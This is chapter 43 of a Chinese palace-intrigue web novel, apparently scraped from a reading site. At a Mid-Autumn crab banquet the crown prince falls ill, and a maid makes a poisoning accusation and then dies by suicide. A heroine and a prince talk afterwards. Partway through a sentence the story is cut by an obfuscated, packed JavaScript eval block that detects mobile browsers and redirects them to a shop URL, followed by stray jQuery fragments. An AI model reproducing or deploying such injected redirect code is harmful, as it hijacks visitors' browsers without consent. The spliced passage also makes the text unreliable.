默认冷灰
24号文字
方正启体

43. 中秋宴

作者:江辛珞本书字数:K更新时间:
    太子言毕返座,瞧着又是那位美人在为盛景行布菜,道:“三弟好福气,能得此等贤惠美人,难怪近来都不亲近那几位了。就连这菜都瞧着比孤案上的更味美。”


    二人邻桌而坐,盛景行侧身:“皇兄谬赞,既如此,臣弟忍痛割爱,让皇兄品尝品尝美人布的菜何如?”


    太子摆摆手,爽朗的笑着:“孤岂是这般夺人所好之人?这菜式皆出御厨之手,那都是精挑细选,美人还是留与三弟。”


    盛景行举杯与他隔空碰了碰,一饮而尽。


    笑容还挂在脸上,盛帝的目光朝他兄弟二人投来,笑道:“皇儿筹备宫宴甚为辛苦,也来尝尝这珍馐。”


    太子面上笑迎父皇赞赏,心中却莫名咯噔一下,怎么偏偏让他尝蟹?


    他悄悄地看了一眼皇后,皇后神色如常,这才小心地吃了一口螃蟹,而后敬了盛帝一杯酒。


    饭后赏乐,满庭芳多两位姑娘刚刚开场,那人目光有意无意地扫向座首,却见太子脸上失了几分血色,他指节死死攥住扶手,喉结也止不住的上下滚动,仿佛有什么东西正不受控制地往上涌。


    近侍扶他转身,他便猛地俯身干呕起来,脊背剧烈起伏,却只吐出些酸涩胆汁。


    “皇兄这是……可要传御医来?”盛景行侧身凑近问道。


    太子捂着心口的指节泛白,眼尾却染上潮红,沉着声音道:“你想做甚?”


    盛景行悄悄抬手指着一旁的贺元棠,“她医术不错,让她先给皇兄看看?”


    “那真是……多谢三弟。”太子咬着牙关吐出几个字。


    “殿下先前可是吃了柿子、浓茶一类的食物?”贺元棠借着添水上前,回头问着小近侍,仿佛没有听见太子在问她的话。


    盛景行不动声色地移开太子抓着贺元棠的手,轻声道:“皇兄莫要担心,她的医术是信得过的。”


    一旁的盛帝好奇地打量着三人的方向。


    皇后面上是阴翳,想压下心头的不安,正要起身,被人按下手腕。


    “景言这孩子平时都闷在东宫,今日难得出门,朕瞧着他们几个娃娃关系不错呢,莫要忧心。”


    皇后看着眼前朝夕相处的帝王,再看向不远处面色不对劲的太子,丹蔻掐入手心,渗出点点细汗。


    一曲毕,满座皆静。


    方才试蟹的小太监忽然“轰”的一声倒在了地上,口吐白沫。


    太子见之猛烈地咳嗽起来。


    “来人——!”皇后喝道,一众侍卫持刀而出,围住了宫苑,“快给本宫好好查查这菜中有何物!”


    盛帝轻轻拍着她的手,示意皇后坐下,“晴儿,稍安勿躁,怎么年岁也不小了,还这样浮躁。”


    “陛下,您也知道去岁食蟹让您病成何样!如今言儿刚能为陛下分忧,哪知就遇上这般事来,中秋宴何其重要,可不得慎之又慎!莫要被人拿捏了去。”


    “朕这不是好好的吗。”


    陈太医忙领着人来一道道查验各桌上的菜肴,尤为重点的查看了两道蟹菜。


    “回陛下、娘娘,宴上各碟皆未发现异常,后厨余下的菜也皆无异样。”


    皇后扫了一眼太子的方向。


    陈太医额角冒汗,拱手道:“回殿下,太子殿下的这份蟹……也未测出毒害之物……”


    “怎会如此?”太子被扶到软榻上,宫女正给他喂着熬好的紫苏液,他咳嗽两声。


    那宫女立即跪在地上,大喊道:“奴婢该死,今日奴婢经过厨房,无意瞧见有人往陶罐中放着什么东西,定是那时这螃蟹被动了手脚!”


    她邦邦地往地上磕着头,皇后快步至她身前:


    “你明知有人动手脚,为何当时不报,现在才说?”


    盛帝淡淡道:“瞧见何人,但说无妨。”


    宫女一咬牙,含泪道:“因为奴婢瞧见的是御厨高氏!”


    高厨子旋即被带到场中,跪着回话:“老奴冤枉啊,彼时老奴正往罐中加盐,还是与螃蟹一道来的吴盐,哪里会是什么毒药,纵是给老奴千万个胆子,也不敢做出此等事来!”


    “若非是那般无色无味的药,小德子怎么会中毒!太医又怎会查不出来!”


    小德子是方才试菜的小太监。


    贺元棠走到案边,端起那碟糟蟹轻轻闻了闻,用手搓开表层盐渍对着光看。


    “你方才说的是哪般无色无味的药?”她扶起宫女问到。


    太子闻言微微摇了摇头,宫女似抱有死志,喊着:


    “便是长期服用能叫人断了子孙的祸物!”


    太子一口水喷了出来。


    满座哗然。


    皇后心下一惊,指着她:“把这乱嚼舌根的东西带下去!”


    两名小太监刚抓住她,她大喊着“奴婢所言句句属实”,挣脱左右二人,一头撞在案角,血溅到了几人的衣摆上。


    贺元棠愣了一瞬,看向盛景行,她还有话未问出口。


    盛帝昔日因蟹中毒之事并未外宣,知晓此事者不上十人,她是如何知晓的?


    仍是那两位小太监顺手将宫女的尸身抬了下去,小宫女力气不小,撞得面上是血肉模糊,叫人胆寒。


    不一会几人提着水桶木刷,将座上血迹清扫干净,换了新的菜上桌。


    场中有年轻些的宾客还吓得不轻。


    “高卿,你的厨艺朕是明白的,蟹宴虽是许久未办,人多眼杂,可是这接二连三的问题,你得给朕一个交代。”


    高厨子脱了帽将其举过头顶,一并交出厨房制蟹所用器物,包括与蟹一道入京的新盐。


    盛景行也跪下来,“儿臣奉命巡查行宫,亦有失察之处,请父皇责罚。”


    “这除了高厨,沿途碰过螃蟹的,不止一人吧?”皇后扫过在场众人,意味深长地道,“可是也要好好查查?”


    陆伯之与父亲等人也齐齐跪下。


    “出此一事朕亦痛心,是朕不周到,害我皇儿受苦!”


    皇帝叹了声气,拍拍皇后的手,低声道:“朕已试过那药,若言儿真是此症,叫太医照这法子好生调养便是,言儿正年轻着,定然不会成这般。”


    “陛下,皇后娘娘,恕民女斗胆进言,方才东宫的小公公说太子殿下是因食用了与蟹相冲之物所致,并非中了那般毒。”


    贺元棠忙开口道:“小德子许是先前没吃过螃蟹,起了疹子后未得药治才会如此,民女有一兄长亦有此症,望陛下与娘娘莫要忧心!”


    皇后的目光似有似无地停留在贺元棠身上,“陛下仁慈,总是轻信他人,到头来总被小人诓骗。”


    “意思是朕已经老糊涂咯?”盛帝却似笑非笑地看着皇后,面上和蔼,眸光生寒。


    “妾……妾不敢。”


    蟹宴不欢而散,负责运蟹做蟹、宫苑巡视之人各领了罚,陈太医揉着昏花的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815434|190852||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼睛靠在躺椅上,盛帝下令今日之事不得外传。


    从别苑回程的马车外,天色昏暗。


    贺元棠看着裙摆几点梅花般的血迹出神。


    “今日这样一闹,他们并未有什么惩处,反倒叫殿下受罚。”


    “在场宾客众多,纵是父皇发现什么,也不能当场叫母后皇兄下不来台不是?”


    虽是赏罚分明,但今日之事已在人心中埋下了种。


    只待某日雨露滋养,草木蔓发。


    她搓了搓裙摆干透的血迹,“那今日的宫女......是殿下安排的?她......”


    盛景行眸光黯淡了些,马车内静了半晌。


    “衣裳洗不干净了,明日叫长卿重新送你几套。”


    贺元棠抬眼看了看盛景行,今夜月满,明亮的月色随着车辙起伏,偶尔透进,照着他半侧的脸颊。


    月明星稀,那张好看的脸上明暗交替,叫人看不真切。


    一路无话,马车静静地行至满庭芳外,停了下来。


    “江无咎下月要回京。”盛景行轻咳一声,打破了车内的宁静,说这话时,悄悄抬眸看她的神情。


    她显然还沉浸在今日发生的事中,听见这几个字猛地抬头,又愣了半晌,垂下眼帘:“殿下,我……做完这件事,能不能……”


    “你不想干了?怕死人?”


    “嗯。”她淡淡答道,“我好像……并没有想象中那么勇敢……”


    她说话的声音越来越小,小到最后连自己都不知道说了什么。


    她感激他带来的机遇,感激他让自己以不敢想象的速度、方式有了这些经历。


    但今日却也或多或少的因为自己,让几条生命结束在自己眼前,她到京城来,是想找到那位救命恩人,也是想找到真正的自己。可这要以无辜之人的生命为代价的话,贺元棠想,这条路是不是她选错了。


    一年以来,她看见他从一位花天酒地的逍遥王爷,变成一个捉摸不透、甚至对生死都这样淡漠的人。


    不对,他好像从来都是这样的人,不仅隐瞒自己的才略武艺,还是上一刻肆意调笑,下一瞬就冷漠无言。她垂下头,摩挲着裙摆上的几点血迹,做好了被他赶下车的准备。


    他却靠近了些,握住她带着凉意的手腕,轻轻地蹲在她身前。


    那阵温热从腕间传来,沿着手臂极速而上,她不自觉地抖了一下。


    “你已经很勇敢了,真的。”忽然撞入那双深邃的眼眸,她一时恍惚,以为自己又到了那个诡怪的梦里。


    “你的手不应该脏的,怪我又把你卷进来。”盛景行扯着自己的袖子一下又一下地给她擦手,慢慢道:“这条路是很险恶的,我现在没有办法完完全全地告诉你。但想要走到终点,一定是要死人的,”他自顾自的说着,“不走到终点,一定会死的。”


    贺元棠怔怔地看着眼前的宁王,觉得有一种既熟悉又陌生的感觉,他是在和我说话么?为什么要与我说这些?


    衣料摩擦的酥麻触感一下又一下地从指尖传来,这位昔日高高在上不可一世的王爷此刻就这样半跪在自己身前,她突然说不出话来了。


    “殿下……”


    “你若当真承受不了,好,我放你走,我们的合作到此为止。”盛景行顿了顿,“若是你想清楚了,还想找到那个真相,江无咎回京的那天晚上,带着一壶‘玉门’酒,到后院来找我。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)